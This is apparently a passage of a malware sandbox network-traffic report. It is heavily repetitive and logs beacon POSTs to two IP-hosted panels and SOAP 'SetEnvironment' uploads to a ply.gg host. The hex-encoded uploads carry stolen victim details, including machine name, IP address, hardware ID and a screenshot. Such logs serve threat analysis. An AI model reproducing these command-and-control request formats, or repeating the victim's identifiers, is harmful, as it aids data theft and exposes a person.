Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 95722Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 95721Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 95721Expect: 100-continueAccept-Encoding: gzip, deflateData Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 37 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 7
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 95722Expect: 100-continueAccept-Encoding: gzip, deflateData Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 38 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 